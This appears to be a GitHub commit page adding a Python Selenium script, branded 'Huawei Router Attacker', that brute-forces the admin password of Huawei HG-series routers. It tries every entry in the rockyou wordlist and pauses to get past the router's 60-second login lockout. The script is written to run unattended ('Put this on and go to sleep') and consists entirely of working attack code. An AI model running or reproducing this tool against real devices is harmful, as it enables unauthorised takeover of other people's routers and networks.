File tree Expand file tree Collapse file tree 1 file changed +48
-0
lines changed Expand file tree Collapse file tree 1 file changed +48
-0
lines changed Original file line number Diff line number Diff line change
1
+ #!/usr/bin/python3
2
+ # For Huwaei Router HG* Series : Put this on and go to sleep.. :)
3
+
4
+ from selenium import webdriver
5
+ import time
6
+ from pyfiglet import Figlet
7
+
8
+ custom_fig = Figlet (font = 'graffiti' )
9
+ print (custom_fig .renderText ('Huawei Router Attacker' ))
10
+ print (custom_fig .renderText (' - VAD3R' ))
11
+
12
+ driver = webdriver .Firefox (executable_path = r'path-to-executable' ) # path to selenium geckodriver
13
+ delay = 8 # give delay as you require
14
+ driver .get ('router_ip' )
15
+ alert_obj = driver .switch_to .alert
16
+ alert_obj .accept ()
17
+ time .sleep (delay )
18
+ counter = 0
19
+
20
+ with open ('/usr/share/wordlists/rockyou.txt' ,'r' ) as f :
21
+ for line in f :
22
+ passw = line .strip ('\n ' )
23
+ user = 'admin' # your router admin username
24
+
25
+ username = driver .find_element_by_id ('txt_Username' )
26
+ username .send_keys (user )
27
+
28
+ password = driver .find_element_by_id ('txt_Password' )
29
+ password .send_keys (passw )
30
+ print ("Trying %s: %s" ,(user ,passw ))
31
+
32
+ submit = driver .find_element_by_id ('button' )
33
+ submit .click ()
34
+
35
+ time .sleep (delay )
36
+ if counter >= 2 :
37
+ time .sleep (62 ) # 60 seconds lock
38
+ counter = 0
39
+ else :
40
+ if ("Please try again." in driver .page_source ):
41
+ counter = counter + 1
42
+ else :
43
+ counter = 2
44
+ print ("password found:" + str (passw ))
45
+
46
+
47
+ driver .close ()
48
+ f .close ()
You can’t perform that action at this time.
0 commit comments